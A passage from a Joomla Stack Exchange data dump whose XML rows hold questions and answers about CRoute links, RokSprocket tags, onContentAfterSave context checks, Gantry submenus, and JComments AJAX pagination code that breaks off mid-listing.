  <row Id="24094" PostTypeId="2" ParentId="24093" CreationDate="2019-01-17T14:35:02.717" Score="1" Body="&lt;p&gt;My solution&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CRoute::_('index.php?option=com_community&amp;amp;actid='.$activity-&amp;gt;id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example:&#xA;instead&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::Date($activity-&amp;gt;created, 'd-m-Y H:i:s', true)&#xA;&#xA;'&amp;lt;a href=&quot;'.CRoute::_('index.php?option=com_community&amp;amp;actid='.$activity-&amp;gt;id).'&quot;&amp;gt;'.&#xA;JHtml::Date($activity-&amp;gt;created, 'd-m-Y H:i:s', true).'&amp;lt;/a&amp;gt;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9118" LastEditorUserId="12352" LastEditDate="2019-01-17T22:30:39.697" LastActivityDate="2019-01-17T22:30:39.697" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24095" PostTypeId="2" ParentId="24090" CreationDate="2019-01-17T20:51:58.113" Score="1" Body="&lt;p&gt;You can try the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not check if there is a possibility to override the roksproket layouts &lt;strong&gt;in the template manager&lt;/strong&gt;, since I do not use roksproket, but you can find the &lt;strong&gt;tags part of the mosaic theme layout&lt;/strong&gt; here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;yourjoomla/com_roksproket/layouts/mosaic/themes/default&lt;/code&gt; folder in &lt;code&gt;item.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open that file and &lt;code&gt;// comment out&lt;/code&gt; the lines &lt;strong&gt;from line 59 to 67&lt;/strong&gt; then the tags will not show up anymore in your mosaic item layout on your pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this part of the code has to be commented out/overriden or deleted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;We do not need the ugly tags here:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (count($item-&amp;gt;custom_tags_list)) : ?&amp;gt;&#xA;    &amp;lt;ul class=&quot;sprocket-mosaic-tags&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;        foreach($item-&amp;gt;custom_tags_list as $key =&amp;gt; $name){&#xA;            echo ' &amp;lt;li class=&quot;sprocket-tags-'.$key.'&quot;&amp;gt;'.$name.'&amp;lt;/li&amp;gt;';&#xA;            }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This action does not influence the tags on any other parts or layouts of the sites, only where these mosaics are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this can be in help of you.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-21T17:27:30.187" LastActivityDate="2019-01-21T17:27:30.187" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24099" PostTypeId="1" AcceptedAnswerId="24100" CreationDate="2019-01-18T08:46:36.543" Score="3" ViewCount="97" Body="&lt;p&gt;I have follow code for after save:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentAfterSave ($context, $article, $isNew)&#xA;{&#xA;$article = JModelLegacy::getInstance('Article', 'ContentModel')-&amp;gt;getItem(); &#xA;....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine if I save an article.&lt;br&gt;&#xA;But it will execute too if I save other things like a Weblink, so there comes the error measage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call to a member function getItem() on boolean&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now I'am look for a rule to check that the code only execute by save an article like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; public function onContentAfterSave ($context, $article, $isNew)&#xA;    {&#xA;    if (IS_A_ARTCLE) {  ... }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8968" LastActivityDate="2019-01-18T09:34:58.660" Title="How to check by onContentAfterSave it is a article?" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24100" PostTypeId="2" ParentId="24099" CreationDate="2019-01-18T09:34:58.660" Score="3" Body="&lt;p&gt;You use the $context variable for that. So you have to start your function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentAfterSave ($context, $article, $isNew)&#xA;{&#xA;  if ($context == &quot;com_content.article&quot;) {&#xA;      // Your code for articles here&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2019-01-18T09:34:58.660" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24102" PostTypeId="1" AcceptedAnswerId="24115" CreationDate="2019-01-18T16:19:33.517" Score="0" ViewCount="84" Body="&lt;p&gt;I have really tried multiple settings, I cannot find the setting to disable the submenu item creation. &#xA;How can I disable the submenu entries showing at the bottom of all pages? See here the issue: &lt;a href=&quot;http://bit.ly/2QXfWBN&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bit.ly/2QXfWBN&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The submenus are either in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Position: content-bottom-a&#xA;Style: standard outline &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Position:&#xA;Style: submenu outline &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2019-01-21T12:51:07.670" Title="Disable submenu items on bottom of page in gantry 4?" Tags="|module|submenu|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24103" PostTypeId="1" AcceptedAnswerId="24116" CreationDate="2019-01-18T22:54:56.557" Score="2" ViewCount="4466" Body="&lt;p&gt;Issue related to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/24061/video-lazy-loading-skipping-first-video-in-every-list&quot;&gt;Video lazy loading skipping first video in every list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The css shows up with a black box and the arrow, but script doesn't seem to run after ajax load from pagination, and also when clicking through from JComments Latest link, which adds &lt;strong&gt;#comment-43&lt;/strong&gt; to the end of the link to target a specific comment (just picked 43 at random).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried adding the script multiple places, putting onload type events in div tag, onhashchange, separating the function and calling it from different places, just doesn't want to load after those 2 cases. Click through direct url to page Page 1 will load preview images, then you click page 2 and no preview/video, back to 1 and no preview/video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not familiar with ajax, there are a couple of ajax files in the component directory, could I possibly add something to them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 files from &lt;strong&gt;components/com_jcomments/libraries/joomlatune&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ajax.js &amp;amp; ajax.php, here is ajax.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Simple AJAX library (based on code XAJAX library - http://www.xajaxproject.org)&#xA; *&#xA; * @version 1.0&#xA; * @package JoomlaTune.Framework&#xA; * @author Sergey M. Litvinov (smart@joomlatune.ru)&#xA; * @copyright (C) 2006-2013 by Sergey M. Litvinov (http://www.joomlatune.ru)&#xA; * @license GNU/GPL: http://www.gnu.org/copyleft/gpl.html&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Check for double include&#xA;if (!defined ('JOOMLATUNE_AJAX'))&#xA;{&#xA;    define ('JOOMLATUNE_AJAX', 1);&#xA;&#xA;    class JoomlaTuneAjaxResponse&#xA;    {&#xA;        var $aCommands;&#xA;        var $xml;&#xA;        var $sEncoding;&#xA;&#xA;        function JoomlaTuneAjaxResponse($sEncoding='utf-8')&#xA;        {&#xA;            $this-&amp;gt;aCommands = array();&#xA;            $this-&amp;gt;sEncoding = $sEncoding;&#xA;        }&#xA;&#xA;        function addCommand($aAttributes, $mData)&#xA;        {&#xA;            $aAttributes['d'] = $mData;&#xA;            $this-&amp;gt;aCommands[] = $aAttributes;&#xA;        }&#xA;&#xA;        function addAssign($sTarget,$sAttribute,$sData)&#xA;        {&#xA;            $scripts = array();&#xA;            // small hack to auto execute JavaScript code returned through ajax&#xA;            if (preg_match('/\&amp;lt;script/', $sData)) {&#xA;                $regexp = '/&amp;lt;script[^&amp;gt;]+&amp;gt;(.*?)&amp;lt;\/script&amp;gt;/ism';&#xA;                $matches = array();&#xA;                preg_match_all($regexp, $sData, $matches);&#xA;&#xA;                for ($i = 0, $n = count($matches[0]); $i &amp;lt; $n; $i++) {&#xA;                    if ($matches[1][$i] != '') {&#xA;                        $sData = str_replace($matches[0][$i], '', $sData);&#xA;                        $scripts[] = trim(preg_replace(array('#^&amp;lt;!--#ism', '#\/\/--&amp;gt;$#ism'), '', $matches[1][$i]));&#xA;                    }&#xA;                }&#xA;            }&#xA;&#xA;            $this-&amp;gt;addCommand(array('n'=&amp;gt;'as','t'=&amp;gt;$sTarget,'p'=&amp;gt;$sAttribute),$sData);&#xA;&#xA;            if (count($scripts)) {&#xA;                foreach ($scripts as $script) {&#xA;                    $this-&amp;gt;addCommand(array('n'=&amp;gt;'js'),$script);&#xA;                }&#xA;            }&#xA;&#xA;            return $this;&#xA;        }&#xA;&#xA;        function addScript($sJS)&#xA;        {&#xA;            $sJS = str_replace(&quot;\n&quot;, '\n', $sJS);&#xA;            $sJS = str_replace(&quot;\r&quot;, '', $sJS);&#xA;            $this-&amp;gt;addCommand(array('n'=&amp;gt;'js'),$sJS);&#xA;            return $this;&#xA;        }&#xA;&#xA;        function addAlert($sMsg)&#xA;        {&#xA;            $this-&amp;gt;addCommand(array('n'=&amp;gt;'al'),$sMsg);&#xA;            return $this;&#xA;        }&#xA;&#xA;        function getOutput()&#xA;        {&#xA;            $output = '';&#xA;            if (is_array($this-&amp;gt;aCommands)) {&#xA;                $output = JoomlaTuneAjaxResponse::php2js($this-&amp;gt;aCommands);&#xA;            }&#xA;            if (trim($this-&amp;gt;sEncoding)) {&#xA;                @header('content-type: text/plain; charset=&quot;'.$this-&amp;gt;sEncoding.'&quot;');&#xA;            }&#xA;            return $output;&#xA;        }&#xA;&#xA;        /**&#xA;        * This function taken from JsHttpRequest library&#xA;        * JsHttpRequest: PHP backend for JavaScript DHTML loader.&#xA;        * (C) Dmitry Koterov, http://en.dklab.ru&#xA;        *&#xA;        * Convert a PHP scalar, array or hash to JS scalar/array/hash. This function is&#xA;        * an analog of json_encode(), but it can work with a non-UTF8 input and does not&#xA;        * analyze the passed data. Output format must be fully JSON compatible.&#xA;        *&#xA;        * @param mixed $a   Any structure to convert to JS.&#xA;        * @return string    JavaScript equivalent structure.&#xA;        */&#xA;        function php2js($a=false)&#xA;        {&#xA;            if (is_null($a)) return 'null';&#xA;            if ($a === false) return 'false';&#xA;            if ($a === true) return 'true';&#xA;            if (is_scalar($a)) {&#xA;                if (is_float($a)) {&#xA;                    $a = str_replace(&quot;,&quot;, &quot;.&quot;, strval($a));&#xA;                }&#xA;                // All scalars are converted to strings to avoid indeterminism.&#xA;                // PHP's &quot;1&quot; and 1 are equal for all PHP operators, but&#xA;                // JS's &quot;1&quot; and 1 are not. So if we pass &quot;1&quot; or 1 from the PHP backend,&#xA;                // we should get the same result in the JS frontend (string).&#xA;                // Character replacements for JSON.&#xA;                static $jsonReplaces = array(&#xA;                array(&quot;\\&quot;, &quot;/&quot;, &quot;\n&quot;, &quot;\t&quot;, &quot;\r&quot;, &quot;\b&quot;, &quot;\f&quot;, '&quot;'),&#xA;                array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\&quot;')&#xA;                );&#xA;                return '&quot;' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '&quot;';&#xA;            }&#xA;            $isList = true;&#xA;            for ($i = 0, reset($a); $i &amp;lt; count($a); $i++, next($a)) {&#xA;                if (key($a) !== $i) {&#xA;                    $isList = false;&#xA;                    break;&#xA;                }&#xA;            }&#xA;            $result = array();&#xA;            if ($isList) {&#xA;                foreach ($a as $v) {&#xA;                    $result[] = JoomlaTuneAjaxResponse::php2js($v);&#xA;                }&#xA;                return '[ ' . join(', ', $result) . ' ]';&#xA;            } else {&#xA;                foreach ($a as $k =&amp;gt; $v) {&#xA;                    $k = JoomlaTuneAjaxResponse::php2js($k);&#xA;                    $v = JoomlaTuneAjaxResponse::php2js($v);&#xA;                    $result[] = $k . ': ' . $v;&#xA;                }&#xA;                return '{ ' . join(', ', $result) . ' }';&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    class JoomlaTuneAjax&#xA;    {&#xA;        var $aFunctions;&#xA;        var $aObjects;&#xA;        var $aFunctionRequestTypes;&#xA;        var $sRequestURI;&#xA;        var $sEncoding;&#xA;&#xA;        function JoomlaTuneAjax($sRequestURI=&quot;&quot;,$sEncoding='utf-8')&#xA;        {&#xA;            $this-&amp;gt;aFunctions = array();&#xA;            $this-&amp;gt;aFunctionRequestTypes = array();&#xA;            $this-&amp;gt;aObjects = array();&#xA;            $this-&amp;gt;aFunctionIncludeFiles = array();&#xA;            $this-&amp;gt;sRequestURI = $sRequestURI;&#xA;            if ($this-&amp;gt;sRequestURI == &quot;&quot;) {&#xA;                $this-&amp;gt;sRequestURI = $this-&amp;gt;_detectURI();&#xA;            }&#xA;            $this-&amp;gt;setCharEncoding($sEncoding);&#xA;        }&#xA;&#xA;        function setCharEncoding($sEncoding)&#xA;        {&#xA;            $this-&amp;gt;sEncoding = $sEncoding;&#xA;        }&#xA;&#xA;        function registerFunction($mFunction,$sRequestType=1)&#xA;        {&#xA;            if (is_array($mFunction)) {&#xA;                $this-&amp;gt;aFunctions[$mFunction[0]] = 1;&#xA;                $this-&amp;gt;aFunctionRequestTypes[$mFunction[0]] = $sRequestType;&#xA;                $this-&amp;gt;aObjects[$mFunction[0]] = array_slice($mFunction, 1);&#xA;            } else {&#xA;                $this-&amp;gt;aFunctions[$mFunction] = 1;&#xA;                $this-&amp;gt;aFunctionRequestTypes[$mFunction] = $sRequestType;&#xA;            }&#xA;        }&#xA;&#xA;        function processRequest()&#xA;        {&#xA;            return $this-&amp;gt;processRequests();&#xA;        }&#xA;&#xA;        function _isObjectCallback($sFunction)&#xA;        {&#xA;            if (array_key_exists($sFunction, $this-&amp;gt;aObjects)) {&#xA;                return true;&#xA;            }&#xA;            return false;&#xA;        }&#xA;        function _callFunction($sFunction, $aArgs)&#xA;        {&#xA;            if ($this-&amp;gt;_isObjectCallback($sFunction)) {&#xA;                $mReturn = call_user_func_array($this-&amp;gt;aObjects[$sFunction], $aArgs);&#xA;            } else if (array_key_exists($sFunction, $this-&amp;gt;aFunctions)) {&#xA;                $mReturn = call_user_func_array($sFunction, $aArgs);&#xA;            }&#xA;            return $mReturn;&#xA;        }&#xA;&#xA;        function processRequests()&#xA;        {&#xA;            $sFunctionName = $_REQUEST[&quot;jtxf&quot;];&#xA;            $aArgs = isset($_REQUEST[&quot;jtxa&quot;]) ? $_REQUEST[&quot;jtxa&quot;] : array();&#xA;&#xA;            if (!array_key_exists($sFunctionName, $this-&amp;gt;aFunctions)) {&#xA;                $oResponse = new JoomlaTuneAjaxResponse();&#xA;                $oResponse-&amp;gt;addAlert(&quot;Unknown Function $sFunctionName.&quot;);&#xA;            } else {&#xA;                $oResponse = $this-&amp;gt;_callFunction($sFunctionName, $aArgs);&#xA;            }&#xA;            @header('content-type: text/plain; charset=&quot;'.$this-&amp;gt;sEncoding.'&quot;');&#xA;            print $oResponse-&amp;gt;getOutput();&#xA;            exit();&#xA;        }&#xA;&#xA;        function _detectURI() {&#xA;            $aURL = array();&#xA;&#xA;            // Try to get the request URL&#xA;            if (!empty($_SERVER['REQUEST_URI'])) {&#xA;                $_SERVER['REQUEST_URI'] = str_replace(array('&quot;',&quot;'&quot;,'&amp;lt;','&amp;gt;'), array('%22','%27','%3C','%3E'), $_SERVER['REQUEST_URI']);&#xA;                $aURL = parse_url($_SERVER['REQUEST_URI']);&#xA;            }&#xA;&#xA;            // Fill in the empty values&#xA;            if (empty($aURL['scheme'])) {&#xA;                if (!empty($_SERVER['HTTP_SCHEME'])) {&#xA;                    $aURL['scheme'] = $_SERVER['HTTP_SCHEME'];&#xA;                } else {&#xA;                    $aURL['scheme'] = (!empty($_SERVER['HTTPS']) &amp;amp;&amp;amp; strtolower($_SERVER['HTTPS']) != 'off') ? 'https' : 'http';&#xA;                }&#xA;            }&#xA;&#xA;            if (empty($aURL['host'])) {&#xA;                if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) {&#xA;                    if (strpos($_SERVER['HTTP_X_FORWARDED_HOST'], ':') &amp;gt; 0) {&#xA;                        list($aURL['host'], $aURL['port']) = explode(':', $_SERVER['HTTP_X_FORWARDED_HOST']);&#xA;                    } else {&#xA;                        $aURL['host'] = $_SERVER['HTTP_X_FORWARDED_HOST'];&#xA;                    }&#xA;                } else if (!empty($_SERVER['HTTP_HOST'])) {&#xA;                    if (strpos($_SERVER['HTTP_HOST'], ':') &amp;gt; 0) {&#xA;                        list($aURL['host'], $aURL['port']) = explode(':', $_SERVER['HTTP_HOST']);&#xA;                    } else {&#xA;                        $aURL['host'] = $_SERVER['HTTP_HOST'];&#xA;                    }&#xA;                } else if (!empty($_SERVER['SERVER_NAME'])) {&#xA;                    $aURL['host'] = $_SERVER['SERVER_NAME'];&#xA;                } else {&#xA;                    print &quot;Error: ajax failed to automatically identify your Request URI.&quot;;&#xA;                    print &quot;Please set the Request URI explicitly when you instantiate the jtajax object.&quot;;&#xA;                    exit();&#xA;                }&#xA;            }&#xA;&#xA;            if (empty($aURL['port']) &amp;amp;&amp;amp; !empty($_SERVER['SERVER_PORT'])) {&#xA;                $aURL['port'] = $_SERVER['SERVER_PORT'];&#xA;            }&#xA;&#xA;            if (empty($aURL['path'])) {&#xA;                if (!empty($_SERVER['PATH_INFO'])) {&#xA;                    $sPath = parse_url($_SERVER['PATH_INFO']);&#xA;                } else {&#xA;                    $sPath = parse_url($_SERVER['PHP_SELF']);&#xA;                }&#xA;                $aURL['path'] = str_replace(array('&quot;',&quot;'&quot;,'&amp;lt;','&amp;gt;'), array('%22','%27','%3C','%3E'), $sPath['path']);&#xA;                unset($sPath);&#xA;            }&#xA;&#xA;            if (!empty($aURL['query'])) {&#xA;                $aURL['query'] = '?'.$aURL['query'];&#xA;            }&#xA;&#xA;            // Build the URL: Start with scheme, user and pass&#xA;            $sURL = $aURL['scheme'].'://';&#xA;            if (!empty($aURL['user'])) {&#xA;                $sURL.= $aURL['user'];&#xA;                if (!empty($aURL['pass'])) {&#xA;                    $sURL.= ':'.$aURL['pass'];&#xA;                }&#xA;                $sURL.= '@';&#xA;            }&#xA;&#xA;            // Add the host&#xA;            $sURL.= $aURL['host'];&#xA;&#xA;            // Add the port if needed&#xA;            if (!empty($aURL['port']) &amp;amp;&amp;amp; (($aURL['scheme'] == 'http' &amp;amp;&amp;amp; $aURL['port'] != 80) || ($aURL['scheme'] == 'https' &amp;amp;&amp;amp; $aURL['port'] != 443))) {&#xA;                $sURL.= ':'.$aURL['port'];&#xA;            }&#xA;&#xA;            // Add the path and the query string&#xA;            $sURL.= $aURL['path'].@$aURL['query'];&#xA;&#xA;            // Clean up&#xA;            unset($aURL);&#xA;            return $sURL;&#xA;        }&#xA;    }&#xA;} // end of double include check&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can post ajax.js, just not sure how much space there is here and how much I can post. Try here starting on line 4: &lt;a href=&quot;https://ideone.com/8df01C&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ideone.com/8df01C&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other file is components/jcomments/jcomments.ajax.php &#xA;Try it here starting on line4: &lt;a href=&quot;https://ideone.com/16szL9&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ideone.com/16szL9&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pagination code is added to &lt;strong&gt;component/com_jcomments/jcomments.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getCommentsTree($object_id, $object_group = 'com_content', $page = 0)&#xA;    {&#xA;        $object_id = (int)$object_id;&#xA;        $object_group = trim($object_group);&#xA;&#xA;        $user = JFactory::getUser();&#xA;        $acl = JCommentsFactory::getACL();&#xA;        $config = JCommentsFactory::getConfig();&#xA;&#xA;                $comments_per_page = $config-&amp;gt;getInt('comments_per_page');&#xA;                $limitstart = 0;&#xA;&#xA;        $total = JComments::getCommentsCount($object_id, $object_group, 'c.level = 0');&#xA;&#xA;        if ($acl-&amp;gt;canComment() == 0 &amp;amp;&amp;amp; $total == 0) {&#xA;            return '';&#xA;        }&#xA;&#xA;        if ($total &amp;gt; 0) {&#xA;            $options = array();&#xA;                        $options['pagination'] = 'tree';&#xA;            $options['object_id'] = $object_id;&#xA;            $options['object_group'] = $object_group;&#xA;            $options['published'] = $acl-&amp;gt;canPublish() || $acl-&amp;gt;canPublishForObject($object_id, $object_group) ? null : 1;&#xA;            $options['votes'] = $config-&amp;gt;getInt('enable_voting');&#xA;&#xA;            if ($comments_per_page &amp;gt; 0) {&#xA;                $page = (int)$page;&#xA;&#xA;                require_once(JCOMMENTS_HELPERS . '/pagination.php');&#xA;                $pagination = new JCommentsPagination($object_id, $object_group);&#xA;                $pagination-&amp;gt;setCurrentPage($page);&#xA;                                $pagination-&amp;gt;setCommentsCount($total);&#xA;&#xA;                $total_pages = $pagination-&amp;gt;getTotalPages();&#xA;                $this_page = $pagination-&amp;gt;getCurrentPage();&#xA;                $limitstart = $pagination-&amp;gt;getLimitStart();&#xA;                $comments_per_page = $pagination-&amp;gt;getCommentsPerPage();&#xA;&#xA;                $options['limit'] = $comments_per_page;&#xA;                $options['limitStart'] = $limitstart;&#xA;            }&#xA;&#xA;            $rows = JCommentsModel::getCommentsList($options);&#xA;&#xA;        } else {&#xA;            $rows = array();&#xA;        }&#xA;&#xA;        $tmpl = JCommentsFactory::getTemplate($object_id, $object_group);&#xA;        $tmpl-&amp;gt;load('tpl_tree');&#xA;        $tmpl-&amp;gt;load('tpl_comment');&#xA;&#xA;        if (count($rows)) {&#xA;&#xA;            $isLocked = ($config-&amp;gt;getInt('comments_locked', 0) == 1);&#xA;&#xA;            $tmpl-&amp;gt;addVar('tpl_tree', 'comments-refresh', intval(!$isLocked));&#xA;            $tmpl-&amp;gt;addVar('tpl_tree', 'comments-rss', intval($config-&amp;gt;getInt('enable_rss') &amp;amp;&amp;amp; !$isLocked));&#xA;            $tmpl-&amp;gt;addVar('tpl_tree', 'comments-can-subscribe', intval($user-&amp;gt;id &amp;amp;&amp;amp; $acl-&amp;gt;check('enable_subscribe') &amp;amp;&amp;amp; !$isLocked));&#xA;            $tmpl-&amp;gt;addVar('tpl_tree', 'comments-count', count($rows));&#xA;                        $tmpl-&amp;gt;addVar('tpl_tree', 'comments-nav-bottom', 1);&#xA;&#xA;            if ($user-&amp;gt;id &amp;amp;&amp;amp; $acl-&amp;gt;check('enable_subscribe')) {&#xA;                require_once(JCOMMENTS_SITE . '/jcomments.subscription.php');&#xA;                $manager = JCommentsSubscriptionManager::getInstance();&#xA;                $isSubscribed = $manager-&amp;gt;isSubscribed($object_id, $object_group, $user-&amp;gt;id);&#xA;                $tmpl-&amp;gt;addVar('tpl_tree', 'comments-user-subscribed', $isSubscribed);&#xA;            }&#xA;&#xA;            $i = 1;&#xA;&#xA;            JCommentsEventHelper::trigger('onJCommentsCommentsPrepare', array(&amp;amp;$rows));&#xA;&#xA;            if ($acl-&amp;gt;check('enable_gravatar')) {&#xA;                JCommentsEventHelper::trigger('onPrepareAvatars', array(&amp;amp;$rows));&#xA;            }&#xA;&#xA;            require_once(JCOMMENTS_LIBRARIES . '/joomlatune/tree.php');&#xA;&#xA;            $tree = new JoomlaTuneTree($rows);&#xA;            $items = $tree-&amp;gt;get();&#xA;&#xA;            foreach ($rows as $row) {&#xA;                // run autocensor, replace quotes, smilies and other pre-view processing&#xA;                JComments::prepareComment($row);&#xA;&#xA;                // setup toolbar&#xA;                if (!$acl-&amp;gt;canModerate($row)) {&#xA;                    $tmpl-&amp;gt;addVar('tpl_comment', 'comments-panel-visible', 0);&#xA;                } else {&#xA;                    $tmpl-&amp;gt;addVar('tpl_comment', 'comments-panel-visible', 1);&#xA;                    $tmpl-&amp;gt;addVar('tpl_comment', 'button-edit', $acl-&amp;gt;canEdit($row));&#xA;                    $tmpl-&amp;gt;addVar('tpl_comment', 'button-delete', $acl-&amp;gt;canDelete($row));&#xA;                    $tmpl-&amp;gt;addVar('tpl_comment', 'button-publish', $acl-&amp;gt;canPublish($row));&#xA;                    $tmpl-&amp;gt;addVar('tpl_comment', 'button-ip', $acl-&amp;gt;canViewIP($row));&#xA;                    $tmpl-&amp;gt;addVar('tpl_comment', 'button-ban', $acl-&amp;gt;canBan($row));&#xA;                }&#xA;&#xA;                $tmpl-&amp;gt;addVar('tpl_comment', 'comment-show-vote', $config-&amp;gt;getInt('enable_voting'));&#xA;                $tmpl-&amp;gt;addVar('tpl_comment', 'comment-show-email', $acl-&amp;gt;canViewEmail($row));&#xA;                $tmpl-&amp;gt;addVar('tpl_comment', 'comment-show-homepage', $acl-&amp;gt;canViewHomepage($row));&#xA;                $tmpl-&amp;gt;addVar('tpl_comment', 'comment-show-title', $config-&amp;gt;getInt('comment_title'));&#xA;                $tmpl-&amp;gt;addVar('tpl_comment', 'button-vote', $acl-&amp;gt;canVote($row));&#xA;                $tmpl-&amp;gt;addVar('tpl_comment', 'button-quote', $acl-&amp;gt;canQuote($row));&#xA;                $tmpl-&amp;gt;addVar('tpl_comment', 'button-reply', $acl-&amp;gt;canReply($row));&#xA;                $tmpl-&amp;gt;addVar('tpl_comment', 'button-report', $acl-&amp;gt;canReport($row));&#xA;                $tmpl-&amp;gt;addVar('tpl_comment', 'avatar', $acl-&amp;gt;check('enable_gravatar') &amp;amp;&amp;amp; !$row-&amp;gt;deleted);&#xA;&#xA;                if (isset($items[$row-&amp;gt;id])) {&#xA;                    $tmpl-&amp;gt;addVar('tpl_comment', 'comment-number', '');&#xA;                    $tmpl-&amp;gt;addObject('tpl_comment', 'comment', $row);&#xA;                    $items[$row-&amp;gt;id]-&amp;gt;html = $tmpl-&amp;gt;renderTemplate('tpl_comment');&#xA;                    $i++;&#xA;                }&#xA;            }&#xA;&#xA;            $tmpl-&amp;gt;addObject('tpl_tree', 'comments-items', $items);&#xA;&#xA;            // build page navigation&#xA;            if (($comments_per_page &amp;gt; 0) &amp;amp;&amp;amp; ($total_pages &amp;gt; 1)) {&#xA;                $tmpl-&amp;gt;addVar('tpl_tree', 'comments-nav-first', 1);&#xA;                $tmpl-&amp;gt;addVar('tpl_tree', 'comments-nav-total', $total_pages);&#xA;                $tmpl-&amp;gt;addVar('tpl_tree', 'comments-nav-active', $this_page);&#xA;&#xA;                $pagination = $config-&amp;gt;get('comments_pagination');&#xA;&#xA;                // show top pagination&#xA;                if (($pagination == 'both') || ($pagination == 'top')) {&#xA;                    $tmpl-&amp;gt;addVar('tpl_tree', 'comments-nav-top', 1);&#xA;                }&#xA;&#xA;                // show bottom pagination&#xA;                if (($pagination == 'both') || ($pagination == 'bottom')) {&#xA;                    $tmpl-&amp;gt;addVar('tpl_tree', 'comments-nav-bottom', 1);&#xA;                }&#xA;            }&#xA;            unset($rows);&#xA;        }&#xA;&#xA;        return $tmpl-&amp;gt;renderTemplate('tpl_tree');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;strong&gt;component/com_jcomments/tpl/default/tpl_tree.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function getNavigation() {&#xA;    if ($this-&amp;gt;getVar('comments-nav-top') == 1 &#xA;    ||  $this-&amp;gt;getVar('comments-nav-bottom') == 1) {&#xA;      $active_page = $this-&amp;gt;getVar('comments-nav-active', 1);&#xA;      $first_page = $this-&amp;gt;getVar('comments-nav-first', 0);&#xA;      $total_page = $this-&amp;gt;getVar('comments-nav-total', 0);&#xA;&#xA;      if ($first_page != 0 &amp;amp;&amp;amp; $total_page != 0) {&#xA;      $object_id = $this-&amp;gt;getVar('comment-object_id');&#xA;      $object_group = $this-&amp;gt;getVar('comment-object_group');&#xA;&#xA;      $content = '';&#xA;&#xA;        // number of visible pages&#xA;        $pp = 14;&#xA;&#xA;        $fp = $active_page - $pp/2;&#xA;        if ($fp &amp;lt;= 0) {&#xA;        $fp = 1;&#xA;        }&#xA;&#xA;        $lp = $fp + $pp;&#xA;        if ($lp &amp;gt; $total_page) {&#xA;        $lp = $total_page;&#xA;        }&#xA;&#xA;        if ($lp - $fp &amp;lt; $pp &amp;amp;&amp;amp; $pp &amp;lt; $total_page) {&#xA;        $fp = $lp - $pp;&#xA;        }&#xA;&#xA;        if ($fp &amp;gt; 1) 